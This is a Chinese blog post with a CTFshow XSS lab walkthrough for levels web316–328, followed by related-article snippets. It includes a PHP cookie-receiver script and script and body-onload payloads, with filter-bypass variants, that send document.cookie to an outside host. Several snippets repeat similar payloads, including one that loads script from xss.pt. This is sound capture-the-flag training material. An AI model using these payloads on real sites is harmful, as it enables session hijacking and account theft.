CTFSHOW-XSS

最新推荐文章于 2024-04-14 18:19:01 发布
最新推荐文章于 2024-04-14 18:19:01 发布
阅读量219 收藏
点赞数
文章标签： xss php 前端
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Yb_140/article/details/129467771
版权

先给一个XSS平台：XSS平台 - （支持http/https）XSS Platform

web316

先在自己的服务器上开启一个web服务，用来接收flag

<?php
$content = $_GET[1];
if(isset($content)){
file_put_content('./flag.txt',$content);
}else{
echo 'no no no';
}

目的：拿到管理员的cookie

payload：

<script>document.location.href='http://ip/1.php?1='+document.cookie</script>

web317

上面的payload不能用了

payload：

<body onload="document.location.href='http://ip/1.php?1='+document.cookie"</body>

web318

payload同上

web319

payload同上

web320

过滤了空格

payload：

<body/**/onload="document.location.href='http://ip/1.php?1='+document.cookie"</body>

web321

payload同上

web322

payload同上

web323

payload同上

web324

payload同上

web325

payload同上

web326

payload同上.

web327

前面都是反射型，这题开始是存储型

payload还是上面的，写在信的内容处，同时注意收件人是admin

web328

我们先注册一个账号，如果为admin提示不可注册，我们注册一个admin1

密码就是

然后登录

超级兵_140
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CTFshow XSS(web316-333)
Kradress的博客
03-18 678
这里我们发现管理员才能查看用户名和密码，如果我们在注册的时候写入xss的payload，就会在用户管理界面执行我们的xss代码。这题没有过滤什么，但是如果用img的话，拿不到flag，但是referer是bot，我猜测bot触发不了img的。试试用admin的cookie修改密码,但是没有用，可能cookie失效了。这题拿cookie也看不到flag了，不过多了一个修改密码选项。随便注册一个用户test，余额只有6块，买flag要9999元。发现输出为空，说明被题目限制了，但是。可以用frame注入。
jQuery-with-XSS 检测jQuery版本是否存在XSS漏洞
09-29
动态站点会受到一种名为“跨站脚本攻击”（Cross Site Scripting, 安全专家们通常将其缩写成XSS,原本应当是css，但为了和层叠样式表（Cascading Style Sheet,CSS ）有所区分，故称XSS）的威胁，而静态站点则完全不受...
CTFShow Web 入门 XSS
最新发布
tj13995958709的博客
04-14 1664
这一题用上一题的做法就不行，这一题admin的cookie是一直在变的，而且很快，看到此题还有修改密码的功能，注册个普通账号，在修改密码时抓包。当将这行脚本代码提交后，稍等片刻，会有个类似admin管理员的程序每隔一段时间就查看我们提交的连接，然后就可以拿到admin的cookie。这道题它代码逻辑有问题，转账的不扣转账方的金额，所以可以一直向自己转账，转的金额不超过自己余额即可。直接让admin转自己10000，和上题让admin自己改密码思路是一样的。然后登录admin账号，密码输入123456。
ctfshow XSS
qq_45951598的博客
10-07 214
收集一下可用的姿势吧， window.open:open() 方法用于打开一个新的浏览器窗口或查找一个已命名的窗口。 location.href=”/url” 当前页面打开URL页面 windows.location.href=”/url” 当前页面打开URL页面 onfocus 事件在对象获得焦点时发生 autofocus 属性规定当页面加载时 input 元素应该自动获得焦点。 <script>window.open('http://ip:端口/'+document.cookie)</
ctfshowXSS
njh18790816639的博客
05-19 314
XSS攻击通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后，攻击者可能得到包括但不限于更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。 大致的介绍一下XSS漏洞！此时我们可以使用这个xss平台***https://xss.pt/xss.php*** 注.
CTFShow Xss
paidx0
08-12 1298
CTFShow Xss（学习） 简单介绍一下Xss 跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。 xss漏洞关键就是寻找参数未过滤的输出函数。 常见的输出函数有： echo printf print print_r sprintf die var-dump var_export xss 分类：（三类） 反射型XSS：<非持久化> 攻击者事先制作好攻击链接, 需要欺
anti-xss:AntiAntiXSS | 通过PHP防止跨站点脚本（XSS）
05-02
:Japanese_secret_button: 反XSS “跨站点脚本（XSS）是一种通常在Web应用程序中发现的计算机安全漏洞。XSS使攻击者能够将客户端脚本注入到其他用户查看的网页中。跨站点脚本漏洞可能被攻击者用来绕过相同原产地策略...
lucy-xss-filter
04-30
Lucy-XSS：XssFilter，XssPreventer Lucy-XSS是一个包含两个防御模块的开源库，用于保护Web应用程序免受XSS攻击。 它支持基于白名单规则的安全策略。 当前的默认规则是Naver的标准。 您可以根据需要更改默认规则。...
spring-boot-xss
05-13
< c xss=removed></ script >< p> < c xss=removed></ p></ body ></ html > 该示例演示了如何在HTML上下文中正确地编码不受信任的值alert(7)HTML，但是在[removed]中是不安全的。 但是...
Web安全测试之XSS实例讲解
09-01
本文主要介绍Web安全测试之XSS,这里详细整理了测试XSS的资料，并附示例代码和详细讲解，有需要的小伙伴可以参考下
js-xss：使用白名单指定的配置对不受信任HTML进行清理（以防止XSS）
02-27
xss是用于过滤用户输入以防止XSS攻击的模块。 （ ） 项目主页： ： 在线尝试： : 特征 指定HTML标记及其白名单允许的属性 使用自定义功能处理所有标签或属性。 参考 基准（仅供参考） xss模块：22.53 MB / s ...
CTFshow——XSS
D.MIND 的博客
04-01 596
文章目录web316web317——过滤了scriptweb318——过滤了imgweb319——web320、321、322——过滤空格 web316 利用xss平台里的代码进行攻击： https://xss.pt/xss.php <sCRiPt sRC=//xss.pt/kUIB></sCrIpT> web317——过滤了script <img src=x onerror=s=createElement('script');body.appendChild(s);s.sr
ctfshow—XSS
cosmoslin的博客
02-05 916
web 316(反射型) 测试<script>alert(1)</script>，无过滤 在服务器上开启监听 python3 -m http.server 39543 外带数据： <script>location.href="http://x.xx.xx.xx:39543/"+document.cookie</script> <script>window.location.href="http://x.xx.xx.xx:39543/"+docu
CTFSHOW xss篇
羽的博客
12-28 9213
web316 xss平台 https://xss.pt/xss.php 创建项目 选择默认模块 一直下一步，然后随便那个代码放到题目输入框中 再刷新下题目 最后看下项目 结束
ctfshow之xss(有图易操作)
qq_50589021的博客
08-14 626
XSS平台 document.cookie 获取饼干的js代码 推荐xss平台：http://xsscom.com/ ， https://xss.pt/ JavaScript的 document.cookie 将以字符串的方式返回所有的cookie，类型格式： cookie1=value; cookie2=value; cookie3=value; 2021-08-06 web316(反射型) 利用xss平台里的代码进行攻击： http://xsscom.com/ 建造完项目以后，复制代码： <sc
ctfshow XSS专题
yink12138的博客
12-17 1456
ctfshow XSS专题
ctfshow-web-web红包题
07-14
### 回答1： ctfshow-web-web红包题是一道CTF比赛中的网络安全题目。这道题目的背景是一个在线购物网站，要求我们通过安全漏洞来获得网站的红包。 首先，我们可以检查网站的源代码，寻找可能存在的漏洞。在网站的前端页面中，我们注意到了一个提交订单的功能，并且发现了其中一个参数可以被用户任意修改。这可能导致一个被称为SQL注入的漏洞。 我们试图通过在参数中插入恶意代码来进行SQL注入攻击。我们发现当我们输入`' or 1=1 -- `时，查询结果会返回所有订单记录，而不仅仅是当前用户的订单。这表明成功利用了SQL注入漏洞。 接下来，我们要尝试进一步利用这个漏洞来获取网站的红包。我们可以通过构建特制的SQL语句来绕过登录过程，直接获取红包的信息。 最终，我们成功地利用了网站存在的漏洞，获取到了红包的相关信息。这个过程展示了在网络安全竞赛中，如何通过分析代码和利用漏洞来实现攻击的目标。 在这个过程中，我们需要具备对SQL注入漏洞的理解和掌握，并且需要有一定的编程和网络安全知识。通过解决这样的题目，我们可以提高我们对网络安全攻防的认识和技能，以更好地保护网络安全。 ### 回答2： ctfshow-web-web红包题是一个CTF（Capture the Flag）比赛中的Web题目，目标是通过分析Web应用程序的漏洞来获取红包。CTF比赛是一种网络安全竞赛，在这种比赛中，参赛者需要通过解决各种不同类型的安全挑战来积分。 该题目中的Web应用程序可能存在一些漏洞，我们需要通过分析源代码、网络请求和服务器响应等信息来找到红包的位置和获取红包的方法。 首先，我们可以查看网页源代码，寻找可能的注入点、敏感信息或其他漏洞。同时，我们还可以使用开发者工具中的网络分析功能来查看浏览器和服务器之间的通信内容，找到可能存在的漏洞、密钥或其他敏感信息。 其次，我们可以进行输入测试，尝试不同的输入来检查是否存在注入漏洞、文件包含漏洞、路径遍历漏洞等。通过测试和观察响应结果，我们可以得到一些重要的信息和线索。 最后，我们可以分析服务器响应和错误信息，查找可能存在的网站配置错误、逻辑漏洞或其它任何可以利用的安全问题。此外，我们还可以使用常见的Web漏洞扫描工具，如Burp Suite、OWASP ZAP等，来辅助我们发现潜在的漏洞。 通过以上的分析和测试，我们有可能找到获取红包的方法。然而，具体的解题方法还需要根据题目中的具体情况来确定。在CTF比赛中，每个题目的设置都可能不同，解题的方法和思路也会有所差异。因此，在解题过程中，要保持敏锐的观察力和灵活的思维，尝试不同的方法和技巧，才能成功获取红包并完成任务。 ### 回答3： ctfshow-web-web红包题是一个CTF比赛中的网络题目，其目标是寻找并利用网页内的漏洞，获取红包。 首先，我们需要分析该网页的源代码，寻找可能存在的漏洞。可以通过审查元素、浏览器开发者工具等方式进行源代码分析。 其中，可能存在的漏洞包括但不限于： 1. 文件路径遍历漏洞：通过对URL的参数进行修改，尝试访问其他目录中的文件。 2. XSS漏洞：通过在用户输入的地方注入恶意代码，实现攻击者想要的操作。 3. SQL注入漏洞：通过修改数据库查询参数，获取未授权的数据。 4. 文件上传漏洞：上传恶意文件并执行。 一旦发现漏洞，我们需要进一步利用它们来获取红包。例如，如果存在文件路径遍历漏洞，我们可以尝试通过修改URL参数的方式，访问网站服务器上存放红包的文件目录，获取目录中的文件。 如果存在XSS漏洞，我们可以尝试在用户输入的地方注入一段JavaScript代码，以获取网页中的敏感信息或执行一些恶意操作，如窃取cookies。 如果存在SQL注入漏洞，我们可以尝试通过修改数据库查询参数，获取未授权的数据，如红包的具体位置或密码。 如果存在文件上传漏洞，我们可以尝试上传一个特殊设计的恶意文件，以执行任意命令或获取服务器上的文件。 综上所述，ctfshow-web-web红包题需要我们深入分析网页代码，发现可能存在的漏洞，并利用这些漏洞获取红包。这个过程需要我们对常见的漏洞类型有一定的了解，并具备相关的漏洞利用技术。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值